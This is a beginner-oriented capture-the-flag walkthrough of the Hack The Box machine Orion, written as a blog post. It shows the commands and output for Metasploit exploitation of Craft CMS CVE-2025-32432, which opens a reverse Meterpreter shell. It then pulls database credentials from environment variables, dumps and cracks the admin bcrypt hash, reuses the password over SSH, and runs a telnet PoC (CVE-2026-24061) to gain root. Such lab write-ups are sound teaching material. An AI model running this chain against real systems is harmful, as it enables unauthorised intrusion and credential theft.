Post

Orion Walkthrough - HTB Very Easy | CraftCMS Pre-Auth RCE & Telnet Privilege Escalation

Complete walkthrough of Orion from Hack The Box. A very easy Linux machine running Craft CMS, vulnerable to the pre-authentication RCE CVE-2025-32432, which grants a foothold as www-data. Environment variables leak MySQL credentials that expose the admin password hash, which is cracked and reused to log in via SSH as adam. Finally, a local-only Telnet service running as root is exploited through CVE-2026-24061 to achieve full root access.

Orion Walkthrough - HTB Very Easy | CraftCMS Pre-Auth RCE & Telnet Privilege Escalation

A Promise

Since this is the first very-easy difficulty box on Hack The Box that isn’t in the Starting Point section — and since it’s also free to play (you don’t need to buy a subscription to play it, at the time of writing) — I’ll try to explain every step to help those who are just getting started with boxes. It’s assumed that Starting Point has already been completed.


External Enumeration

Nmap

Let’s start with the nmap tool to understand which services on the target machine we can reach. The command below might be a little different from the classic one (explained further down), but I recommend using it for every box.

First of all, let’s edit the /etc/hosts file to associate the box’s IP with a domain. Most of the time, on HTB boxes, the domain is in this form: BoxName.htb

Here’s my /etc/hosts file (yours may look different — just make sure the last line contains the box IP you see on the HackTheBox website):

1
2
3
4
5
6
7
8
9
127.0.0.1       localhost  
::1     localhost ip6-localhost ip6-loopback  
fe00::  ip6-localnet  
ff00::  ip6-mcastprefix  
ff02::1 ip6-allnodes  
ff02::2 ip6-allrouters  
127.0.0.1       exegol-main  
  
10.129.42.70    orion.htb

Now we can write orion.htb instead of the IP. Here’s the nmap command:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ports=$(nmap -p- --min-rate=1000 -T4 orion.htb 2>/dev/null | grep '^[0-9]' | cut -d '/' -f1 | paste -sd ',' -); nmap -vv -p"$ports" -sC -sV orion.htb -oX orion.xml  

<SNIP>
  
PORT   STATE SERVICE REASON         VERSION  
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:    
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)  
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=  
|   256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)  
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM  
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)  
|_http-title: Orion Telecom  
| http-methods:    
|_  Supported Methods: GET HEAD POST  
|_http-server-header: nginx/1.18.0 (Ubuntu)  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Key findings:

  • Port 22: SSH (OpenSSH 8.9p1)
  • Port 80: HTTP (nginx 1.18.0, title “Orion Telecom”)

The nmap command above is much more complex than the classic one that beginners are taught. Here’s how to use it easily!

This command is structured to be fast and cover only the areas of interest. The first part of the command (up to the ;) only focuses on discovering the open ports (not UDP), while the second part runs the various scripts to gather more information about each service.

First part (you don’t need to know how it works in depth). We quickly save the list of open ports into the ports variable.

1
ports=$(nmap -p- --min-rate=1000 -T4 orion.htb 2>/dev/null | grep '^[0-9]' | cut -d '/' -f1 | paste -sd ',' -);

In the second part we run the classic nmap command and save the output to an XML file in case we want to review the result later.

1
nmap -vv -p"$ports" -sC -sV orion.htb -oX orion.xml

Getting back to the box, we have 2 open ports: SSH and HTTP (web server).

Web Application Analysis

HTTP Service

Opening the website by typing http://orion.htb in the browser, we find ourselves in front of this site:

orion site homepage

At the bottom of the page there are 2 interesting things. The first, which we’ll ignore for now (we’ll come back to it if we get stuck), is the form to send a message to — I imagine — the platform admins. The second interesting thing is that the type of CMS is specified at the bottom, CraftCMS.

footer image

Fuzzing

This page on its own doesn’t let us do much, so we proceed with fuzzing, i.e. discovering pages of the site that we can’t find manually. For this step we’ll use ffuf, a fuzzing tool. Here’s the command to find hidden pages and directories.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[Jul 16, 2026 - 17:25:42 (CEST)] exegol-main orion # ffuf -w /opt/lists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt:FUZZ -u http://orion.htb/FUZZ -ic  
  
       /'___\  /'___\           /'___\          
      /\ \__/ /\ \__/  __  __  /\ \__/          
      \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\         
       \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/         
        \ \_\   \ \_\  \ \____/  \ \_\          
         \/_/    \/_/   \/___/    \/_/          
  
      v2.1.0  
________________________________________________  
  
:: Method           : GET  
:: URL              : http://orion.htb/FUZZ  
:: Wordlist         : FUZZ: /opt/lists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt  
:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500  
________________________________________________  
  
                       [Status: 200, Size: 12272, Words: 1076, Lines: 386, Duration: 172ms]  
index                   [Status: 200, Size: 12272, Words: 1076, Lines: 386, Duration: 253ms]  
assets                  [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 43ms]  
admin                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 191ms]  
logout                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 295ms]  
p1                      [Status: 200, Size: 12272, Words: 1076, Lines: 386, Duration: 512ms]  
p3                      [Status: 200, Size: 12272, Words: 1076, Lines: 386, Duration: 259ms]  
<SNIP>

The most interesting page is the admin one, let’s try to visit it.

Admin Login Page

As soon as we visit it in the browser by typing http://orion.htb/admin, we’re automatically redirected to the page http://orion.htb/admin/login. Unfortunately we don’t know the credentials, but we find something even more interesting — try to figure out what it is in the image below.

cms version

Below the login button, the CMS version is shown! With this version we can look for existing vulnerabilities or, if there aren’t any, default admin credentials for that version.


Exploitation

Vulnerability Research

If important vulnerabilities exist, our browser’s AI overview often suggests them. In this case the AI overview shows us a vulnerability classified as CVSS 10.0 (CRITICAL), CVE-2025-32432:

cve-discovered

We could look for PoCs online but first, since this is a walkthrough for beginners, let’s search on Metasploit.

We can open Metasploit with the command msfconsole:

1
2
3
4
5
6
7
8
9
10
11
msfconsole  
<SNIP>
  
      =[ metasploit v6.4.117-dev-e60f77af                      ]  
+ -- --=[ 2,623 exploits - 1,326 auxiliary - 1,707 payloads     ]  
+ -- --=[ 431 post - 49 encoders - 14 nops - 10 evasion         ]  
  
Metasploit Documentation: https://docs.metasploit.com/  
The Metasploit Framework is a Rapid7 Open Source Project  
  
msf >

Now we can use the search command in msfconsole. To look for the vulnerability, I’ll search for the second number of the CVE (since it’s called CVE-2025-32432, I’ll search for the number 32432).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
msf > search 32432  
  
Matching Modules  
================  
  
  #  Name                                                    Disclosure Date  Rank       Check  Description  
  -  ----                                                    ---------------  ----       -----  -----------  
  0  exploit/linux/http/craftcms_preauth_rce_cve_2025_32432  2025-04-14       excellent  Yes    Craft CMS Image Transform Preauth RCE (CVE-2025-32432)  
  1    \_ target: PHP In-Memory                              .                .          .      .  
  2    \_ target: Unix/Linux Command Shell                   .                .          .      .  
  
  
Interact with a module by name or index. For example info 2, use 2 or use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432  
After interacting with a module you can manually set a TARGET with set TARGET 'Unix/Linux Command Shell'

Perfect! Now let’s use the use 0 command to select the exploit.

Exploit

Now we need to configure the exploit. Let’s use the options command to see what we need to set.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > options  
  
Module options (exploit/linux/http/craftcms_preauth_rce_cve_2025_32432):  
  
  Name      Current Setting  Required  Description  
  ----      ---------------  --------  -----------  
  ASSET_ID  634              yes       Existing asset ID  
  Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5h  
  RHOSTS                     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html  
  RPORT     80               yes       The target port (TCP)  
  SSL       false            no        Negotiate SSL/TLS for outgoing connections  
  VHOST                      no        HTTP server virtual host  
  
  
Payload options (php/meterpreter/reverse_tcp):  
  
  Name   Current Setting  Required  Description  
  ----   ---------------  --------  -----------  
  LHOST  192.168.178.35   yes       The listen address (an interface may be specified)  
  LPORT  4444             yes       The listen port  
  
  
Exploit target:  
  
  Id  Name  
  --  ----  
  0   PHP In-Memory  
  
  
  
View the full module info with the info, or info -d command.

We can use the set command to configure the values we got from the options command to what we need to exploit the target successfully.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set rhost http://orion.htb  
rhost => http://orion.htb  
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set lhost tun0  
lhost => 10.10.17.30  
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set lport 9001  
lport => 9001  
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > run  
[*] Started reverse TCP handler on 10.10.17.30:9001    
[*] Running automatic check ("set AutoCheck false" to disable)  
[+] Leaked session.save_path: /var/lib/php/sessions  
[+] The target is vulnerable. Session path leaked  
[*] Injecting stub & triggering payload...  
[*] Sending stage (42137 bytes) to 10.129.42.70  
[*] Meterpreter session 1 opened (10.10.17.30:9001 -> 10.129.42.70:54868) at 2026-07-16 17:54:46 +0200  
  
  
meterpreter >

This isn’t the classic Linux bash shell, but a meterpreter shell, a much more advanced shell designed for attackers like us (use the help command to see what it’s capable of). We can get a shell with the shell command:

1
2
3
4
5
6
meterpreter > shell  
Process 2374 created.  
Channel 0 created.

whoami  
www-data

Initial shell obtained.


Lateral Movement

Environment Variables

One thing you normally do as www-data is look at the environment variables with the env command. This command is also run by automated privilege escalation tools like linPEAS.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
env  
CRAFT_ENVIRONMENT=dev  
CRAFT_DB_PORT=3306  
CRAFT_APP_ID=CraftCMS--67912ad2-1f1b-4993-bfec-e64daa5c23ff  
PWD=/var/www/html/craft/web  
PRIMARY_SITE_URL=http://orion.htb/  
CRAFT_DB_DATABASE=orion  
HOME=/var/www  
CRAFT_DB_TABLE_PREFIX=  
CRAFT_DB_DRIVER=mysql  
CRAFT_DB_SERVER=127.0.0.1  
USER=www-data  
SHLVL=2  
CRAFT_DB_USER=root  
CRAFT_SECURITY_KEY=RRS86F6i2JQKdC6kfEI7frVxA47WVMx8  
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!  
CRAFT_DISALLOW_ROBOTS=true  
CRAFT_DEV_MODE=true  
CRAFT_ALLOW_ADMIN_CHANGES=true  
CRAFT_DB_SCHEMA=  
_=/usr/bin/env

With this command we discovered the existence of a MySQL database, and the credentials to access it.

Credentials: root:SuperSecureCraft123Pass!

Database Enumeration

We can interact with the DB with this command (inside the -e flag we put the query):

1
2
3
4
5
6
7
mysql -u root -pSuperSecureCraft123Pass! -e "SHOW DATABASES"        
Database  
information_schema  
mysql  
orion  
performance_schema  
sys

I see that the orion database exists. Let’s list the tables inside it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
mysql -u root -pSuperSecureCraft123Pass! -e "SHOW TABLES FROM orion"  
Tables_in_orion  
addresses  
announcements  
assetindexdata  
assetindexingsessions  
assets  
assets_sites  
authenticator  

<SNIP>  

structures  
systemmessages  
taggroups  
tags  
tokens  
usergroups  
usergroups_users  
userpermissions  
userpermissions_usergroups  
userpermissions_users  
userpreferences  
users  
volumefolders  
volumes  
webauthn  
widgets

The users table is interesting. Let’s first get the field names and then list the contents.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mysql -u root -pSuperSecureCraft123Pass! -e "USE orion; DESCRIBE users"        
Field   Type    Null    Key     Default Extra  
id      int(11) NO      PRI     NULL  
photoId int(11) YES     MUL     NULL  
affiliatedSiteId        int(11) YES     MUL     NULL  
active  tinyint(1)      NO      MUL     0  
pending tinyint(1)      NO      MUL     0  
locked  tinyint(1)      NO      MUL     0  
suspended       tinyint(1)      NO      MUL     0  
admin   tinyint(1)      NO              0  
username        varchar(255)    YES     MUL     NULL  
fullName        varchar(255)    YES             NULL  
firstName       varchar(255)    YES             NULL  
lastName        varchar(255)    YES             NULL  
email   varchar(255)    YES     MUL     NULL  
password        varchar(255)    YES             NULL  
<SNIP>
dateCreated     datetime        NO              NULL  
dateUpdated     datetime        NO              NULL  
www-data@orion:~/html/craft/web$ mysql -u root -pSuperSecureCraft123Pass! -e "USE orion; SELECT username, password FROM users"  
username        password  
admin   $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS

We found the hash (encrypted, non-reversible password) of the admin account.

User Enumeration

Let’s see which users exist on the host before moving on to cracking the hash.

1
2
3
4
5
ls -al /home  
total 12  
drwxr-xr-x  3 root root 4096 May 12 08:15 .  
drwxr-xr-x 19 root root 4096 May 12 08:15 ..  
drwxr-x---  5 adam adam 4096 May 12 08:15 adam

The user who holds the user flag is adam.

Hash Cracking

Let’s put the admin hash into a file called hash, then figure out what type of hash it is with the hashid tool (installable via apt on Debian-based Linux distributions).

1
2
3
4
5
6
7
hashid -m hash                                                            
--File 'hash'--  
Analyzing '$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS'  
[+] Blowfish(OpenBSD) [Hashcat Mode: 3200]  
[+] Woltlab Burning Board 4.x    
[+] bcrypt [Hashcat Mode: 3200]  
--End of file 'hash'--#

bcrypt / blowfish hashes are very slow to crack; however, if we crack it with hashcat, in less than a minute we’ll find the password.

By hash cracking we mean the process of brute-forcing candidate passwords into hashes and checking whether they match the original hash. If the hash we brute-force and the original hash match, then we’ve found the correct original password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
hashcat -m 3200 hash /opt/lists/rockyou.txt  
hashcat (v6.2.6) starting  
  
<SNIP>
  
$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS:darkangel  
                                                            
Session..........: hashcat  
Status...........: Cracked  
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))  
Hash.Target......: $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/...LUg0lS  
Time.Started.....: Thu Jul 16 18:34:47 2026 (24 secs)  
Time.Estimated...: Thu Jul 16 18:35:11 2026 (0 secs)  
<SNIP>
Started: Thu Jul 16 18:34:12 2026  
Stopped: Thu Jul 16 18:35:12 2026

The password is darkangel.

Now we can log in via SSH to adam’s account with this new password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ssh adam@orion.htb  
adam@orion.htbs password:    
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)  

<SNIP>

adam@orion:~$ ls -al  
total 40  
drwxr-x--- 5 adam adam 4096 May 12 08:15 .  
drwxr-xr-x 3 root root 4096 May 12 08:15 ..  
lrwxrwxrwx 1 root root    9 May  7 12:28 .bash_history -> /dev/null  
-rw-r--r-- 1 adam adam  220 Jan  6  2022 .bash_logout  
-rw-r--r-- 1 adam adam 3771 Jan  6  2022 .bashrc  
drwx------ 3 adam adam 4096 May 12 08:15 .cache  
drwxrwxr-x 3 adam adam 4096 May 12 08:15 .config  
drwxrwxr-x 3 adam adam 4096 May 12 08:15 .local  
-rw-r--r-- 1 adam adam  807 Jan  6  2022 .profile  
-rw-r----- 1 root adam   33 Jul 16 13:02 user.txt  
-rw-rw-r-- 1 adam adam  166 Mar  6 13:34 .wget-hsts

User flag obtained.


Privilege Escalation

Basic Commands

Normally, when we get the user flag, we always run the usual commands. One of these is sudo -l to see if we can run anything as root, but unfortunately we can’t. Another command is to look at the listening ports on the host, since there are often some available only on localhost — and that’s exactly the case here:

1
2
3
4
5
6
7
8
9
10
ss -lntu  
Netid                   State                    Recv-Q                   Send-Q                                     Local Address:Port                                       Peer Address:Port                   Process                      
udp                     UNCONN                   0                        0                                          127.0.0.53%lo:53                                              0.0.0.0:*                                                   
udp                     UNCONN                   0                        0                                                0.0.0.0:68                                              0.0.0.0:*                                                   
tcp                     LISTEN                   0                        511                                              0.0.0.0:80                                              0.0.0.0:*                                                   
tcp                     LISTEN                   0                        128                                              0.0.0.0:22                                              0.0.0.0:*                                                   
tcp                     LISTEN                   0                        80                                             127.0.0.1:3306                                            0.0.0.0:*                                                   
tcp                     LISTEN                   0                        4096                                       127.0.0.53%lo:53                                              0.0.0.0:*                                                   
tcp                     LISTEN                   0                        10                                             127.0.0.1:23                                              0.0.0.0:*                                                   
tcp                     LISTEN                   0                        128                                                 [::]:22                                                 [::]:*

As we can see, port 23 is only available on localhost — that’s why it wasn’t visible from nmap. Let’s look at the telnet version:

1
2
3
4
5
6
7
8
telnet -V  
telnet (GNU inetutils) 2.7  
Copyright (C) 2025 Free Software Foundation, Inc.  
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.  
This is free software: you are free to change and redistribute it.  
There is NO WARRANTY, to the extent permitted by law.  
  
Written by many authors.

Vulnerability Research

As before, the AI summary can help us look for vulnerabilities:

telnet vulnerability research

We can try to exploit telnet 2.7 with the vulnerability CVE-2026-24061.

Exploit

We can copy the code from this link (a PoC found online), put it into a .py file and run it, like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
adam@orion:~$ nano exploit.py  
adam@orion:~$ chmod +x exploit.py    
adam@orion:~$ python3 exploit.py    
usage: exploit.py [-h] target [port]  
exploit.py: error: the following arguments are required: target  
adam@orion:~$ python3 exploit.py 127.0.0.1 23  
[+] POC by @opscur (https://github.com/0p5cur)  
[+] Connecting to 127.0.0.1:23...  
  
Linux 5.15.0-177-generic (orion) (pts/2)  
  
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)  
  
<SNIP>
  
root@orion:~# whoami  
root

Root flag obtained. Box completed.


Reflections

Alternative Approaches

The installed sudo version might have been vulnerable to a known exploit, but I didn’t investigate that path since the Telnet vector already led to root.

Open Question

I’m curious whether readers used this machine as their introduction to the world of HTB boxes — at the time of writing, it’s the easiest one on the platform, excluding Starting Point.


Completed this box? Was Orion your first HTB machine outside of Starting Point? Leave a comment down below!

This post is licensed under CC BY 4.0 by the author.